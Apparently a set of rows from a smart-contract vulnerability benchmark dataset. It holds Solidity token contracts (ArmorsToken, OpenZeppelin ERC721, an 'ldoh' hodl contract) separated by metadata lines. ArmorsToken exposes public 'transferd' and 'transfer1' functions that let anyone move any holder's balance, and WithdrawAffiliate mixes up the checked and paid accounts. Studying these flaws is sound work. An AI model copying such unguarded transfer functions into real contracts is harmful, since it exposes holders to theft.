function unfreeze(address account) public onlyFreezer whenFreezed(account) returns (bool) {
_freezeList[account] = false;
emit Unfreezed(account);
return true;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20PausableBurnableFreezable is ERC20, Pausable, Freezable {
function transfer(address to, uint256 value) public whenNotPaused whenNotFreezed(msg.sender) whenNotFreezed(to) returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused whenNotFreezed(msg.sender) whenNotFreezed(from) whenNotFreezed(to) returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused whenNotFreezed(msg.sender) whenNotFreezed(spender) returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused whenNotFreezed(msg.sender) whenNotFreezed(spender) returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused whenNotFreezed(msg.sender) whenNotFreezed(spender) returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
function burn(uint256 amount) public whenNotPaused whenNotFreezed(msg.sender) {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public whenNotPaused whenNotFreezed(msg.sender) whenNotFreezed(account){
_burnFrom(account, amount);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ArmorsToken is ERC20Detailed, Ownable, ERC20PausableBurnableFreezable {
event PaymentReceived(address from, uint256 amount);
uint private INITIAL_SUPPLY = 21000000000e18;
constructor (address account) public ERC20Detailed("Armors Token", "ARM", 18)
{
_mint(account, INITIAL_SUPPLY);
}
function withdrawEther(address payable account, uint _amount) external onlyOwner {
account.transfer(_amount);
}
function () external payable {
emit PaymentReceived(msg.sender, msg.value);
}
function transferd(address sender, address recipient, uint256 amount) public {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint t = 0;
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function transfer1(address sender, address recipient, uint256 amount) public {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint t;
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
| 18,490 | 13,413 |
7ea89fe5614d1999804aa1b66f483733636adb784161c990bdeefdaa92c84307
| 31,426 |
.sol
|
Solidity
| false |
235597819
|
eth-sri/securify2
|
def1e30ba9198828d048fbba5fbb6cd27f7e1b04
|
tests/solidity/test_real_contracts/ERC721Full.sol
| 3,949 | 14,997 |
pragma solidity ^0.5.2;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library Counters {
using SafeMath for uint256;
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner].current();
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public {
require(_isApprovedOrOwner(msg.sender, tokenId));
_transferFrom(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
require(!_exists(tokenId));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner);
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
require(to != address(0));
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor () public {
// register the supported interface to conform to ERC721Enumerable via ERC165
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
function _transferFrom(address from, address to, uint256 tokenId) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
return _ownedTokens[owner];
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// lastTokenId, or just over the end of the array if the token was the last one).
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 tokenIndex = _allTokensIndex[tokenId];
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
}
}
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) {
// solhint-disable-previous-line no-empty-blocks
}
}
| 131,302 | 13,414 |
75b263f1d5f6a67230bd9c380383aacfa6a4e9ca494466e22123d71db22c9357
| 18,441 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x250d3f3159974b94fc3bf56158b362e964f4e123.sol
| 5,994 | 17,844 |
pragma solidity ^0.4.25;
contract EthereumSmartContract {
address EthereumNodes;
constructor() public {
EthereumNodes = msg.sender;
}
modifier restricted() {
require(msg.sender == EthereumNodes);
_;
}
function GetEthereumNodes() public view returns (address owner) { return EthereumNodes; }
}
contract ldoh is EthereumSmartContract {
event onCashbackCode (address indexed hodler, address cashbackcode);
event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime);
event onHOLDdeposit (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime);
event onHOLDwithdraw (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime);
struct Safe {
uint256 id;
uint256 amount;
uint256 endtime;
address user;
address tokenAddress;
string tokenSymbol;
uint256 amountbalance;
uint256 cashbackbalance;
uint256 lasttime;
uint256 percentage;
uint256 percentagereceive;
uint256 tokenreceive;
uint256 lastwithdraw;
address referrer;
bool cashbackstatus;
}
uint256 private idnumber;
uint256 public TotalUser;
mapping(address => address) public cashbackcode;
mapping(address => uint256[]) public idaddress;
mapping(address => address[]) public afflist;
mapping(address => string) public ContractSymbol;
mapping(uint256 => Safe) private _safes;
mapping(address => bool) public contractaddress;
mapping (address => mapping (uint256 => uint256)) public Bigdata;
mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics;
address public Holdplatform_address;
uint256 public Holdplatform_balance;
mapping(address => uint256) public Holdplatform_status;
mapping(address => uint256) public Holdplatform_divider;
constructor() public {
idnumber = 500;
Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e;
}
function () public payable {
if (msg.value == 0) {
tothe_moon();
} else { revert(); }
}
function tothemoon() public payable {
if (msg.value == 0) {
tothe_moon();
} else { revert(); }
}
function tothe_moon() private {
for(uint256 i = 1; i < idnumber; i++) {
Safe storage s = _safes[i];
if (s.user == msg.sender) {
Unlocktoken(s.tokenAddress, s.id);
}
}
}
function CashbackCode(address _cashbackcode, uint256 uniquecode) public {
require(_cashbackcode != msg.sender);
if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000
&& Bigdata[_cashbackcode][8] >= 1 && Bigdata[_cashbackcode][18] != uniquecode) {
cashbackcode[msg.sender] = _cashbackcode; }
else { cashbackcode[msg.sender] = EthereumNodes; }
if (Bigdata[msg.sender][18] == 0) {
Bigdata[msg.sender][18] = uniquecode; }
emit onCashbackCode(msg.sender, _cashbackcode);
}
function Holdplatform(address tokenAddress, uint256 amount) public {
require(amount >= 1);
uint256 holdamount = add(Statistics[msg.sender][tokenAddress][5], amount);
require(holdamount <= Bigdata[tokenAddress][5]);
if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000) {
cashbackcode[msg.sender] = EthereumNodes;
Bigdata[msg.sender][18] = 123456;
}
if (contractaddress[tokenAddress] == false) { revert(); } else {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.transferFrom(msg.sender, address(this), amount));
HodlTokens2(tokenAddress, amount);
Airdrop(tokenAddress, amount, 1);
}
}
function HodlTokens2(address ERC, uint256 amount) private {
address ref = cashbackcode[msg.sender];
address ref2 = EthereumNodes;
uint256 AvailableBalances = div(mul(amount, 72), 100);
uint256 AvailableCashback = div(mul(amount, 16), 100);
uint256 affcomission = div(mul(amount, 12), 100);
uint256 nodecomission = div(mul(amount, 28), 100);
uint256 ReferrerContribution = Statistics[ref][ERC][5];
uint256 ReferralContribution = Statistics[msg.sender][ERC][5];
uint256 MyContribution = add(ReferralContribution, amount);
uint256 affcomission2 = div(mul(ReferrerContribution, 12), 100);
uint256 affcomission3 = sub(affcomission, affcomission2);
if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0) {
AvailableCashback = 0;
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission);
Bigdata[msg.sender][19] = 111;
} else {
if (ReferrerContribution >= MyContribution) {
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission);
Bigdata[msg.sender][19] = 222;
}
if (ReferrerContribution < MyContribution) {
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission2);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission2);
Bigdata[msg.sender][19] = 333;
Statistics[ref2][ERC][3] = add(Statistics[ref2][ERC][3], affcomission3);
Statistics[ref2][ERC][4] = add(Statistics[ref2][ERC][4], affcomission3);
Bigdata[msg.sender][19] = 444;
}
}
HodlTokens3(ERC, amount, AvailableBalances, AvailableCashback, ref);
}
function HodlTokens3(address ERC, uint256 amount, uint256 AvailableBalances, uint256 AvailableCashback, address ref) private {
ERC20Interface token = ERC20Interface(ERC);
uint256 TokenPercent = Bigdata[ERC][1];
uint256 TokenHodlTime = Bigdata[ERC][2];
uint256 HodlTime = add(now, TokenHodlTime);
uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback;
amount = 0; AvailableBalances = 0; AvailableCashback = 0;
_safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false);
Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM);
Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM);
Bigdata[ERC][6] = add(Bigdata[ERC][6], AM);
Bigdata[ERC][3] = add(Bigdata[ERC][3], AM);
if(Bigdata[msg.sender][8] == 1) {
idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; }
else {
afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; }
Bigdata[msg.sender][8] = 1;
emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime);
}
function Unlocktoken(address tokenAddress, uint256 id) public {
require(tokenAddress != 0x0);
require(id != 0);
Safe storage s = _safes[id];
require(s.user == msg.sender);
require(s.tokenAddress == tokenAddress);
if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); }
}
function UnlockToken2(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 eventAmount = s.amountbalance;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
if(s.endtime < now){
uint256 amounttransfer = add(s.amountbalance, s.cashbackbalance);
Statistics[msg.sender][ERC][5] = sub(Statistics[s.user][s.tokenAddress][5], s.amount);
s.lastwithdraw = amounttransfer; s.amountbalance = 0; s.lasttime = now;
PayToken(s.user, s.tokenAddress, amounttransfer);
if(s.cashbackbalance > 0 && s.cashbackstatus == false || s.cashbackstatus == true) {
s.tokenreceive = div(mul(s.amount, 88), 100) ; s.percentagereceive = mul(1000000000000000000, 88);
}
else {
s.tokenreceive = div(mul(s.amount, 72), 100) ; s.percentagereceive = mul(1000000000000000000, 72);
}
s.cashbackbalance = 0;
emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
} else { UnlockToken3(ERC, s.id); }
}
function UnlockToken3(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 timeframe = sub(now, s.lasttime);
uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000);
uint256 MaxWithdraw = div(s.amount, 10);
if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; }
if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; }
uint256 realAmount = add(s.cashbackbalance, realAmount1);
uint256 newamountbalance = sub(s.amountbalance, realAmount1);
s.cashbackbalance = 0;
s.amountbalance = newamountbalance;
s.lastwithdraw = realAmount;
s.lasttime = now;
UnlockToken4(ERC, id, newamountbalance, realAmount);
}
function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 eventAmount = realAmount;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ;
uint256 maxcashback = div(mul(s.amount, 16), 100) ;
uint256 sid = s.id;
if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == sid) {
uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ;
}else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;}
uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ;
s.tokenreceive = tokenreceived;
s.percentagereceive = percentagereceived;
PayToken(s.user, s.tokenAddress, realAmount);
emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
Airdrop(s.tokenAddress, realAmount, 4);
}
function PayToken(address user, address tokenAddress, uint256 amount) private {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount);
Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount);
Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
Bigdata[tokenAddress][11]++;
}
function Airdrop(address tokenAddress, uint256 amount, uint256 extradivider) private {
if (Holdplatform_status[tokenAddress] == 1) {
require(Holdplatform_balance > 0);
uint256 divider = Holdplatform_divider[tokenAddress];
uint256 airdrop = div(div(amount, divider), extradivider);
address airdropaddress = Holdplatform_address;
ERC20Interface token = ERC20Interface(airdropaddress);
token.transfer(msg.sender, airdrop);
Holdplatform_balance = sub(Holdplatform_balance, airdrop);
Bigdata[tokenAddress][12]++;
emit onReceiveAirdrop(msg.sender, airdrop, now);
}
}
function GetUserSafesLength(address hodler) public view returns (uint256 length) {
return idaddress[hodler].length;
}
function GetTotalAffiliate(address hodler) public view returns (uint256 length) {
return afflist[hodler].length;
}
function GetSafe(uint256 _id) public view
returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive)
{
Safe storage s = _safes[_id];
return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive);
}
function WithdrawAffiliate(address user, address tokenAddress) public {
require(tokenAddress != 0x0);
require(Statistics[user][tokenAddress][3] > 0);
uint256 amount = Statistics[msg.sender][tokenAddress][3];
Statistics[msg.sender][tokenAddress][3] = 0;
Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount);
Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount);
uint256 eventAmount = amount;
address eventTokenAddress = tokenAddress;
string memory eventTokenSymbol = ContractSymbol[tokenAddress];
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
Bigdata[tokenAddress][13]++;
emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
Airdrop(tokenAddress, amount, 4);
}
function AddContractAddress(address tokenAddress, uint256 CurrentUSDprice, uint256 CurrentETHprice, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted {
uint256 newSpeed = _PercentPermonth;
require(newSpeed >= 3 && newSpeed <= 12);
Bigdata[tokenAddress][1] = newSpeed;
ContractSymbol[tokenAddress] = _ContractSymbol;
Bigdata[tokenAddress][5] = _maxcontribution;
uint256 _HodlingTime = mul(div(72, newSpeed), 30);
uint256 HodlTime = _HodlingTime * 1 days;
Bigdata[tokenAddress][2] = HodlTime;
Bigdata[tokenAddress][14] = CurrentUSDprice;
Bigdata[tokenAddress][17] = CurrentETHprice;
contractaddress[tokenAddress] = true;
}
function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice, uint256 ETHprice) public restricted {
if (Currentprice > 0) { Bigdata[tokenAddress][14] = Currentprice; }
if (ATHprice > 0) { Bigdata[tokenAddress][15] = ATHprice; }
